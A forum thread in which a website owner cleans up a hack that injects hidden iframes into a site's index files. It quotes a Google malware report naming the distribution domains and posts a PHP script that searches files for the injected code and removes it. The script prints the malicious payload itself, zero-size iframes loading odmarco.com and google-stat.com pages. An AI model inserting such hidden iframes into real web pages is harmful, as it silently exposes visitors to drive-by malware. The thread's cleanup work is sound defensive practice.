Malware ... but where?!.. AHHHH!

[rockinaway]

Okay, doing that. How can I detect any malware or suspicious code? Any program?

[toonysnn]

Personally I just do it manually. Sometimes things are better off done by hand than by program.

[rockinaway]

Okay, thanks for help so far. I am updating now, and have emailed host. I have also submitted site for reviewing by Google.

Right, a look at the Google report.

Malicious software includes 1 trojan(s). Successful infection resulted in an average of 6 new process(es) on the target machine.

Malicious software is hosted on 8 domain(s), including odmarco.com/, 92.38.0.0/, go00ogle.net/.

3 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including odmarco.com/, s100.ucoz.ru/, goldtraff.info/.

The odmarco has been removed, not sure about the others.

--------------- Added [DATE]1251049948[/DATE] at [TIME]1251049948[/TIME] ---------------

Forum is updated, now looking into other problems.

When the page loads, an odmarco link still loads, not sure where to search for it.

--------------- Added [DATE]1251050426[/DATE] at [TIME]1251050426[/TIME] ---------------

Update: turns out many dreamhost people have had a problem. The script injects a line of code to nearly every index.php/html file accessible. There are some scripts to remove this, so I am working on it.

--------------- Added [DATE]1251052649[/DATE] at [TIME]1251052649[/TIME] ---------------

Okay, I need to edit this code so that it searches in EVERY html file and every folder and file to remove the line:

<?php

$clear = new clearOdmarco(getcwd());
$clear->main();
class clearOdmarco
{
  protected $path;
  protected $string_to_clear = '<iframe src="http://google-stat.com/tomi/?t=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://odmarco.com/tomi/?t=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://odmarco.com/arwe/?736361acd09ca9717c9462514beb5205" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>';
    public function __construct($path)
  {    $this->path = $path;
  }  
  public function main()
  {
    $this->checkDir($this->path);
  }
  
  protected function checkDir($path)
  {
    $dir = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
    echo "PARSING " . $dir->getFileName() . "\n";
    
    foreach ( $dir as $current )
    {
      if ($current->isFile())
      {
        $this->clearFile($current->getPath() . '/' . $current->getFileName());
      }
    }
  }
  
  protected function clearFile($file)
  {
    echo 'checking ' . $file . "\n";
    $contents = file_get_contents($file);
    if (strpos($contents, 'odmarco'))
    {
      echo "FOUND string, cleaning\n";
      $clean_contents = $this->clean($contents);
      if (file_put_contents($file, $clean_contents))
      {
        echo "WRITTEN clean file contents\n";
      } else
      {
        echo "COULD NOT WRITE " . $file . "\n";
      }
    }
  }
  
  protected function clean($string)
  {
    $clean_contents = str_replace($this->string_to_clear, '', $string);
    return $clean_contents;
  }
}

--------------- Added [DATE]1251053592[/DATE] at [TIME]1251053592[/TIME] ---------------

Think I have got rid of it, please tell me if otherwise.